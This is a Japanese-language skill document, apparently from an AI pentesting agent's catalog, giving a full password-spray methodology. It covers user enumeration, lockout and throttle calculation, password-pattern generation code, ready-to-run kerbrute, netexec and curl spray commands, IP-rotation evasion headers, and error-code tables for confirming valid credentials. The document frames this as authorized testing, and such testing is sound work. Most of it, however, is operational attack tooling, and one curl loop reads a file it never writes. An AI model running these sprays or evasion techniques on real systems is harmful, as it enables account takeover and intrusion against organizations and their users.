password-spray-methodology

パスワードスプレーの方法論

パスワードスプレーは、最も費用対効果の高い認証情報攻撃です。1つ（または少数）のパスワードを、多数のユーザーに対して試します。目立ちにくく、ロックアウトを回避できるため、従来の総当たり攻撃では失敗する場面でも成功します。このスキルでは、スキルカタログ全体にわたるあらゆるスプレー経路、列挙手法、パターン、プロトコルをまとめています。

これは方法論のスキルです。 プロトコル固有の詳細は、それぞれのスキルに記載されています。詳しく調べる場合は、そちらも参照してください。このスキルでは、あらゆる環境に適用できる共通のスプレーパイプラインを扱います。

使用するタイミング

• ユーザーリストはあるものの、認証情報がない状態で、あらゆるエンゲージメントを開始するとき
• インターネットに公開されたログインポータル（OWA、Okta、ADFS、VPN、SSO、OIDC）を見つけたとき
• hunt-ntlm-info で AD ドメイン／UPN 形式が判明した後、スプレーに利用するとき
• hunt-ldap で sAMAccountNames を列挙した後、スプレーに利用するとき
• js-secrets-extraction でメールアドレスのパターンが見つかった後、スプレーに利用するとき
• OneDrive の 302／404 列挙（m365-entra-attack による）でライセンスを持つユーザーが確認できたとき、そのユーザーにスプレーするとき
• クライアントから漏えいした認証情報ダンプを入手し、すべてのサービスに対して検証するとき
• Smart Lockout の差分を利用して、アクティブな攻撃者を検出するとき

共通のスプレーパイプライン（5 フェーズ）

Phase 1: ENUMERATE USERS    → valid user list
Phase 2: DETECT LOCKOUT      → max attempts/min, throttle rate
Phase 3: GENERATE PASSWORDS  → 5-20 high-probability candidates
Phase 4: EXECUTE SPRAY       → per-protocol, low-and-slow
Phase 5: INTERPRET RESULTS   → error code differential → finding or discard

---

フェーズ 1 — ユーザーの列挙

スプレーの成否は、ユーザーリストの質に左右されます。認証エンドポイントにアクセスする前に、ユーザー名を収集してください。

共通の列挙ソース

ソース	手法	ロックアウトのリスク	参照スキル
LinkedIn／会社ページ	従業員名をスクレイピングして username-anarchy に渡す	なし	—
OneDrive の個人用サイト	GET /personal/<user>_<domain>_com/_layouts/15/onedrive.aspx → 302=存在、404=不在	なし	m365-entra-attack
Kerberos の事前認証	kerbrute userenum --dc <DC> --domain <DOMAIN> users.txt	なし（KDC_ERR_PREAUTH_REQUIRED は認証失敗に数えられません）	—
NTLM Type-2 のデコード	匿名プローブから AD ドメイン、NetBIOS 名、コンピューター名を抽出	なし	hunt-ntlm-info
Jira のユーザーピッカー	/rest/api/2/user/picker?query= — 設定が不適切なインスタンスでは公開されています	なし	—
Jenkins	/asynchPeople/ または /securityRealm/user/<name>/	なし	—
ManageEngine ADManager Plus	公開されたインスタンスで、認証なしのユーザー一覧取得	なし	—
WordPress REST API	/wp-json/wp/v2/users — ユーザー名を含む投稿者一覧を取得	なし	hunt-wordpress
GitLab	/api/v4/users — オープンなインスタンスでは公開されています	なし	—
O365 Autodiscover	強化済み — すべてのユーザーに同一の 200 を返します（2024 年以降）	なし。ただし利用不可	m365-entra-attack
GetUserRealm	強化済み — テナント内のどのメールアドレスにも同じ XML を返します	なし。ただし利用不可	m365-entra-attack

ユーザー名形式の生成

名前をスクレイピングした後、組織で使われていそうな形式をすべて生成します。

# From a list of real names (First Last, one per line)
./username-anarchy -i names.txt > usernames.txt

# Common formats for enterprise targets:
# firstname.lastname, f.lastname, firstnamelastname, flastname
# firstname_lastname, lastname.firstname, firstname
# Also try: email prefix from known addresses (jdoe@ → jdoe)

CeWL — ターゲット固有の単語抽出

cewl -d 3 -m 6 --lowercase https://target.com -w target_words.txt
# Feeds both username generation AND password patterns

---

フェーズ 2 — ロックアウトの検出とスロットル計算

4 つのレート制限状態（hunt-brute-force より）

スプレーを始める前に、対象のエンドポイントを次の 4 つの状態のいずれかに分類します。

状態	シグナル	スプレーは実行可能か？
ハードロックアウト	N 回失敗するとアカウントが無効化され、正しい認証情報も失敗する	いいえ（代わりにサービス妨害の所見として扱います）
ソフト IP スロットル	送信元 IP に応じて 429 が返る、またはレイテンシが増加する	はい — IP をローテーションして回避できます
CAPTCHA の挿入	200 を返すものの、N 回試行後に本文が CAPTCHA に切り替わる	場合によります — API パスで回避できるか確認します
サイレントなシャドウスロットル	すべてのリクエストで 200／401 が返る一方、送信内容は黙って破棄される	罠です — 既知の位置に既知の正しい値を挿入して検出します

シャドウスロットルの検出（重大 — 最も大きな偽陰性の原因）

# Inject a known-good credential at position 500
# If it stops working under load, shadow-throttle is active
# Your "no rate limit" conclusion was false
KNOWN_GOOD="[email protected]:CorrectP@ss"
for n in $(seq 0 600); do
  code=$(curl --max-time 30 --connect-timeout 10 -sk -u "user${n}@target.com:WrongP@ss" -o /dev/null -w "%{http_code}" \
    "https://TARGET/auth-endpoint")
  echo "$n $code $(wc -c </tmp/bf_body)"
done
# Watch: status flips, time_total climbing, body size changing

Smart Lockout の仕組み（Microsoft Entra ID — m365-entra-attack より）

• デフォルト：10 分間にサインインに 10 回失敗すると、1 分間ロックアウトされます
• すべての認証フローでカウンターを共有（ROPC + SAML + IMAP + EWS + SMTP + デバイスコード）
• 数学的な保証：ユーザー 1 人あたりの試行回数を 1 回以下にすれば、Smart Lockout は発生しません（1 < 10）
• AADSTS50053 が観測された場合は、外部の攻撃者がすでに存在しています → SOC への報告事項

HARD_CAP = 1  # per user per engagement LIFETIME — never higher

Okta のロックアウト

• デフォルト：サインインに 10 回失敗（設定可能。一部の組織では 3 回）
• 運用ルール：ユーザー 1 人あたりの試行回数は、生涯で 2 回以下にします（Okta のロックアウトは 3 回の場合があるため、Entra の 1 回より安全です）

Exchange/OWA のレート制限テスト

for i in $(seq 1 5); do
  code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 10 --connect-timeout 10 \
    -X POST "https://$TARGET/owa/auth.owa" \
    -d "destination=https://$TARGET/owa/&[email protected]&password=WrongPass123!")
  echo "Attempt $i: HTTP $code"
done
# All same code → no rate limiting on this endpoint

具体的なスロットリングの参考値

プロトコル	安全なレート	出典
M365 ROPC	login.microsoftonline.com へのリクエストは 1 秒あたり 30 回以下（IP ごと）	許可を得たエンゲージメント
M365 Smart Lockout	エンゲージメント中、ユーザー 1 人あたりの試行回数は生涯で 1 回以下	数学的な保証
Okta /authn	ユーザー 1 人あたりの試行回数は生涯で 2 回以下。Entra より低速（自動化対策の調整が異なる）	許可を得たエンゲージメント
Exchange OWA	まず短時間に 5 回試行し、応答が一様なら低速でスプレーする	exchange-owa-attack
SharePoint SOAP	SP2013 ではレート制限が観測されていませんが、それでも低速で実行します	hunt-sharepoint
Kerberos（Kerbrute）	事前認証プローブによるロックアウトのリスクはありません。スプレーの速度は、ユーザーリスト全体に対して 1 時間にパスワード 1 つです	公開研究
IP ローテーションによる回避	X-Forwarded-For、X-Real-IP、X-Originating-IP、CF-Connecting-IP、True-Client-IP	hunt-brute-force
NodeZero の参考値	本番環境では 1 時間あたり 2 回	Horizon3.ai（2022）

---

フェーズ 3 — パスワードパターンの生成

複雑性が裏目に出る仕組み（重要な知見）

パスワードの複雑性ポリシー（大文字 + 小文字 + 数字 + 特殊文字）は、パスワードの予測可能性を下げるどころか、高めます。人間が使うパターンは常に同じです。先頭を大文字にした単語 + 末尾に数字 + 末尾に !。

PACK の分析（Kacherginsky、2013）における RockYou、LinkedIn、MySpace、Stratfor、Singles.org、FaithWriters、phpBB からの観察結果：

1. : （変換なし） — パスワード全体の 2～25% は、辞書に載っている単語そのままです
2. $1（「1」を追加） — パスワード全体の 0.5～5.5%
3. $1 $2 $3 — 0.1～0.6%
4. $1 $2 — 0.08～0.5%
5. 季節名：Summer2024!、Winter2025!、Spring2026!
6. 会社名：<Brand>@2026、<Brand>@123、<City>@2026
7. デフォルトのローテーション：Password@<year>、Welcome@<year>、Admin@<year>

パターン生成の手順

# 1. Company-derived patterns
brand_variants = ["CompanyName", "Company", "COMPANY", "company"]
years = ["2026", "2025", "2024", "2023", "26", "25"]
specials = ["", "!", "@", "#", "1", "123", "123!"]
seasonal = ["Summer", "Winter", "Spring", "Autumn", "Fall"]
passwords = []
for brand in brand_variants:
    for year in years:
        for spec in specials:
            passwords.append(f"{brand}{year}{spec}")
            passwords.append(f"{brand}@{year}")
for season in seasonal:
    for year in years:
        passwords.append(f"{season}{year}!")
        passwords.append(f"{season}{year}")

# 2. Plant/office city names from company website
cities = ["SaoPaulo", "Rio", "BH", "Brasilia"]
for city in cities:
    for year in years:
        for spec in specials:
            passwords.append(f"{city}{year}{spec}")

# 3. Functional account defaults
functional = ["noreply", "purchase", "accounts", "postmaster",
              "transport", "admin", "helpdesk", "support", "info"]
for func in functional:
    passwords.append(f"{func}@123")
    passwords.append(f"{func}{year}")

ワードリストの戦略

段階	ワードリスト	使用するタイミング
1. 漏えいした認証情報	クライアントから提供されたダンプ、スティーラーログ	常に最初に使用します。それぞれが対象ユーザーに対する最も有力な推測です
2. 会社固有のリスト	CeWL の出力 + ブランドパターン（フェーズ 3 の手順）	すべてのエンゲージメント
3. Probable-Wordlists	berzerk0 の頻度順リストの上位 100 件	会社のパターンで失敗した場合
4. rockyou.txt の上位 N 件	対象のポリシーに合う 8 文字以上に絞り込みます	フォールバック
避ける	RockYou2024	98% が無価値なデータ（ハッシュ、途中で切れた文字列、Unicode のごみデータ、ロシア語のテキスト）で、実用的な価値はありません
カスタムの変換	会社固有のリストに Hashcat のルールを適用します	詳細なエンゲージメント

# Generate mutated list with common rules
hashcat --stdout -r /usr/share/hashcat/rules/best64.rule target_words.txt | sort -u > mutated.txt

---

フェーズ 4 — スプレー実行マトリクス

プロトコル	エンドポイント	スプレーコマンド	レート制限	スキル参照
M365 ROPC	login.microsoftonline.com/common/oauth2/token	状態ファイルを使った Python attempt()	≤1/ユーザー/生涯	m365-entra-attack
Okta	<tenant>.okta.com/api/v1/authn	curl POST {"username":"...","password":"..."}	≤2/ユーザー/生涯	okta-attack
Exchange OWA	/owa/auth.owa (POST), /ews/Exchange.asmx (Basic)	curl HTTP POST または Basic Auth	まず 5 回連続でテスト	exchange-owa-attack
Kerberos (AD)	KDC (TCP 88)	kerbrute passwordspray --dc <DC> -d <DOMAIN> users.txt '<password>'	スプレーによるロックアウトなし	—
SMB / WinRM	TCP 445 / 5985	netexec smb 10.0.0.0/24 -u users.txt -p passwords.txt --continue-on-success	サービスごと	—
SharePoint SOAP	/_vti_bin/Authentication.asmx	SOAP Login エンベロープを POST	SP2013 ファームではレート制限なし	hunt-sharepoint
WordPress XMLRPC	/xmlrpc.php	system.multicall で数百件を 1 リクエストにまとめる	観測されず	hunt-auth-bypass
OIDC password grant	/oauth2/token (カスタムテナント)	client_id を指定した grant_type=password	IdP による	—
Citrix NetScaler	/vpn/index.html, /cgi/login	認証情報をフォームで POST	インスタンスごと	—
F5 BIG-IP	/tmui/login.jsp	認証情報をフォームで POST	インスタンスごと	—
Atlassian	/rest/auth/1/session (Basic)	curl -u	多くのインスタンスでレート制限なし	—
Jenkins	/jnlpJars/jenkins-cli.jar, /script	curl POST	インスタンスごと	—

Kerbrute — ロックアウトを発生させずに AD をスプレー

# Enumerate first (zero lockout risk)
./kerbrute_linux_amd64 userenum \
  --dc 10.10.10.5 \
  --domain corp.local \
  usernames.txt

# Then spray — one password at a time across ALL valid users
./kerbrute_linux_amd64 passwordspray \
  --dc 10.10.10.5 \
  --domain corp.local \
  valid_users.txt 'Summer2026!'

NetExec — マルチプロトコルスプレー

# Spray SMB across subnet
netexec smb 10.10.10.0/24 -u users.txt -p passwords.txt --continue-on-success

# Spray WinRM
netexec winrm 10.10.10.0/24 -u users.txt -p passwords.txt

# Spray MSSQL
netexec mssql 10.10.10.0/24 -u users.txt -p passwords.txt

# Single credential validation
netexec smb 10.10.10.5 -u administrator -p 'P@ssw0rd!'

# [+] = valid auth  |  (Pwn3d!) = local admin on that machine

Burp Intruder — OWA スプレー

# POST request to /owa/auth.owa
# Sniper mode: variable on username field
# Fixed password field = common candidate
# Track timestamp between launches to avoid re-spraying same password

---

フェーズ 5 — エラーコードの差異

「パスワードが間違っている」場合と「パスワードは正しいがブロックされている」場合の違いがすべてです。後者はトークンがなくても、確認済みの所見です。

AADSTS コード（M365/Entra — m365-entra-attack より）

コード	意味	パスワードは有効か？	対応
AADSTS50034	ユーザーが存在しない	該当なし	リストから削除
AADSTS50126	パスワードが無効	❌	ユーザーは存在する — 上限内で再試行
AADSTS50053	アカウントがロックされている（Smart Lockout）	不明	事前発生 → SOC の所見
AADSTS53003	CA によりトークン発行がブロックされた	✅ はい	停止 — 有効な認証情報
AADSTS50076	MFA が必要	✅ はい	有効 — 第 2 要素が必要
AADSTS50079	強力な認証が必要	✅ はい	有効
AADSTS50158	外部認証が必要	✅ はい	有効
AADSTS530003	デバイス状態が必要	✅ はい	有効

重大な落とし穴 — ROPC の部分文字列による誤検知： CA で MFA が必要な場合、エラーボディには "claims":{"access_token":{"capolids":...}} が含まれます。緩い部分文字列チェック if "access_token" in raw_body を使うと、MFA によってブロックされた試行がすべて誤検知されます。必ず JSON を解析してから、if "access_token" in parsed_dict を確認してください。

Okta コード（okta-attack より）

応答	意味	パスワードは有効か？
200 status=MFA_REQUIRED	MFA チャレンジ待ち	✅ はい
200 status=SUCCESS + sessionToken	完全な認証（MFA なし）	✅ はい
200 status=PASSWORD_EXPIRED	パスワード変更が必要	✅ はい
200 status=LOCKED_OUT	アカウントがロックされている	不明
401 E0000004	認証失敗（ユーザーが存在しない、またはパスワードが間違っている — Okta では区別しない）	❌
401 E0000119	ユーザーがロックされている	不明
429	レート制限に到達	—

Exchange OWA コード

ステータス	意味
302 + /owa/ への Location	✅ 有効 — 認証済み
同じログインページを表示する 200	❌ 無効
5 回連続の試行で HTTP コードが一貫している	レート制限なし — スプレー可能

---

エンゲージメントの規律

必ず行うこと

• アトミック書き込みを使用する状態ファイル：ユーザーごとの試行回数カウンター（JSON）
• エンゲージメント記録：すべての試行を記録するJSONLログ（タイムスタンプ、メールアドレス、パスワードの先頭4文字、ステータス、AADSTSコード）
• IPローテーションログ：日ごとに記録：日付、送信元IP、ISP-AS、オペレーターのハンドル名、ラウンド
• すべてのテナントをテストする：姉妹ドメインではEntraテナントが別々になっていることが多く、パスワードポリシーも異なります
• キルスイッチ：LOCKEDの件数がしきい値を超えたら実行を停止します（事前に存在した攻撃者、またはカウントミスが示唆されます）
• 漏えいした認証情報を最初に使う：それぞれを、そのユーザーに対する最有力候補での上限1回の試行として扱います

アンチパターン（してはいけないこと）

• 漏えいした認証情報を複数のリソースで使わないでください — CAによってブロックされる場合、追加の効果がないまま上限回数を消費します
• AADSTS50053の後に再試行しないでください — アカウントはロックされています
• login.microsoftonline.comに対して、継続的に毎秒30リクエストを超えるスプレーを行わないでください — IPがクレデンシャルスタッフィングとしてフラグ付けされます
• Entra向けのスプレー速度をOktaで使わないでください — 自動化対策の調整が異なります
• CAブロックの検出結果を撤回しないでください — AADSTS53003/50076/50079は、パスワードが正しいことを示します
• ユーザー列挙を省略しないでください — 有効なユーザー名がわからないままのスプレーは、見当違いなノイズです
• RockYou2024を使わないでください — 98％がゴミです（ハッシュ、途中で切れた文字列、Unicodeの不要な文字列）
• エンゲージメント全体を通じて、同じユーザーに対するスプレーをHARD_CAP回より多く行わないでください
• *.oktapreview.comを本番環境と混同しないでください — プレビュー環境は非本番環境であり、重大度も異なります

アクティブな攻撃者の検出（最も影響の大きい副次的効果）

Smart Lockoutの計算上の保証（1 < 10）は、アクティブな攻撃者の検出にも役立ちます。

1. 上限：ユーザーごとに1回の試行
2. 複数のユーザーでAADSTS50053（LOCKED）が返されることを確認します
3. これらのロックを引き起こしたのはあなたではありません（1 < 10であり、数学的に不可能です）
4. 外部の攻撃者が、まさに今、テナントに対してスプレーを行っています
5. ロックされたユーザーをアルファベット順にグループ化します → グループ化されていれば、攻撃者がソート済みのユーザー名リストを使用していると考えられます
6. スプレーの開始時と終了時のロックアウト件数を比較します → 新たにロックされたアカウントがあれば、セッション中に攻撃者が活動していたことを示します
7. ロックされたメールアドレスの一覧を、SOCが対応可能な検出結果として記録します

---

チェーン表

チェーン	起点	終点	影響
ユーザー列挙 → スプレー → 有効な認証情報	hunt-ntlm-info	このスキル	ATO
スプレーした認証情報 → メールアクセス	このスキル	m365-entra-attack	データ流出
スプレー → MFAチャレンジ → バイパス	このスキル	hunt-mfa-bypass	完全なATO
スプレー → 有効な認証情報 → 横展開	このスキル	NetExec/impacket	ドメイン侵害
スプレー → ロックアウトの観測 → SOCアラート	このスキル	mid-engagement-ir-detection	IR検出結果
スプレー → SharePoint SOAP認証情報 → FedAuth → 認証済みの領域	このスキル	hunt-sharepoint	SharePointへのアクセス
LDAP列挙 → sAMAccountNameリスト → ADスプレー	hunt-ldap	このスキル（Kerbrute）	大規模ATO

---

ツールの概要

ツール	目的	コマンド
Kerbrute	ADユーザーの列挙とスプレー（ロックアウトなし）	kerbrute userenum/passwordspray
NetExec (nxc)	マルチプロトコルのスプレー（SMB、WinRM、MSSQL、RDP）	netexec smb 10.0.0.0/24 -u users.txt -p passwords.txt
Burp Intruder	HTTP POSTスプレー（OWA、カスタムポータル）	Sniperモード、ユーザー名を変数に、パスワードを固定
CeWL	ターゲット固有のワードリスト生成	cewl -d 3 -m 6 --lowercase https://target.com -w words.txt
username-anarchy	実名からユーザー名の形式を生成	./username-anarchy -i names.txt > usernames.txt
Hashcat	パスワードルール生成（PACK）とワードリストの変異	hashcat --stdout -r rules/best64.rule words.txt
curl	手動でのスプレープローブ、ロックアウトテスト	curl --max-time 30 --connect-timeout 10 -sk -u "user:pass" https://TARGET/endpoint
Python	状態ファイルとJSON解析を備えたカスタムスプレースクリプト	ROPCテンプレートについてはm365-entra-attackを参照
MailSniper	OWAからの侵害後のGAL抽出	最初の有効な認証情報を取得した後にスプレーリストを拡張します
hydra	HTTPフォームのスプレー（レガシー — Burp Intruderを推奨）	hydra -L users.txt -P passwords.txt http-post-form

検証

1. スプレーツールの利用可否 — スプレーツールを確認します：

   which crackmapexec 2>/dev/null && echo "PASS: crackmapexec installed" || echo "NOTE: crackmapexec not installed"
   pip3 show o365spray 2>/dev/null | grep -q "Name:" && echo "PASS: o365spray installed" || echo "NOTE: o365spray not installed"
   

すべてのテストで、パスワードスプレー攻撃の準備状況を検証します。

---

注意点

• ロックアウトポリシーを把握せずにスプレー攻撃を行う — Entra ID Smart Lockout、Okta のロックアウト、オンプレミス AD のロックアウトは、それぞれ動作が異なります。スプレー攻撃の前にしきい値を確認してください。
• パスワードを1つだけ使ったスプレー攻撃 — 「Password123」だけをスプレーしても、ほとんど役に立ちません。組織ごとに、可能性の高いパスワードを2～4個選んで使用してください。
• ユーザー列挙を行わずにスプレー攻撃を行う — スプレー攻撃の前にユーザー名を検証すると、ノイズとロックアウトのリスクを減らせます。必ず最初に列挙してください。
• タイミングに基づくアカウントの検証 — パスワードスプレー攻撃におけるタイミングの差から、有効なアカウントを特定できる場合があります。n>=10 のサンプルで慎重に測定してください。
• OAuth／モダン認証へのスプレー攻撃 — モダン認証エンドポイント（OAuth2 トークンエンドポイント）は、レガシーエンドポイントとはロックアウトの動作が異なります。両方の経路をテストしてください。

---

関連スキル

• m365-entra-attack — M365 固有の ROPC 検証、AADSTS コードリファレンス、OneDrive ユーザー列挙、Smart Lockout の計算、テナントの特定
• okta-attack — Okta 固有のスプレーエンドポイント、エラーコード、要素の列挙、ロックアウトの管理
• exchange-owa-attack — OWA のレート制限テスト、Basic Auth スプレー攻撃、NTLM Type-2 ドメイン抽出、政府機関の命名パターン
• hunt-brute-force — 4つのレート制限状態、シャドースロットルの検出、IP ローテーションによる回避、OTP ブルートフォースの手法
• hunt-auth-bypass — レガシープロトコル一覧（WordPress XMLRPC、Citrix、F5、Atlassian のスプレーエンドポイント）
• hunt-sharepoint — SharePoint SOAP Authentication.asmx の匿名認証情報ブルートフォース（レート制限なし）
• hunt-ldap — sAMAccountName の列挙 → スプレー対象リスト
• hunt-ntlm-info — NTLM Type-2 → UPN 形式 → スプレー攻撃用の認証情報形式
• hunt-mfa-bypass — スプレー攻撃 → MFA チャレンジ → バイパスの連鎖
• mid-engagement-ir-detection — Smart Lockout のロックアウト差分による、攻撃中の攻撃者の検出
• hunt-wordpress — REST API のユーザー列挙 → スプレー対象リスト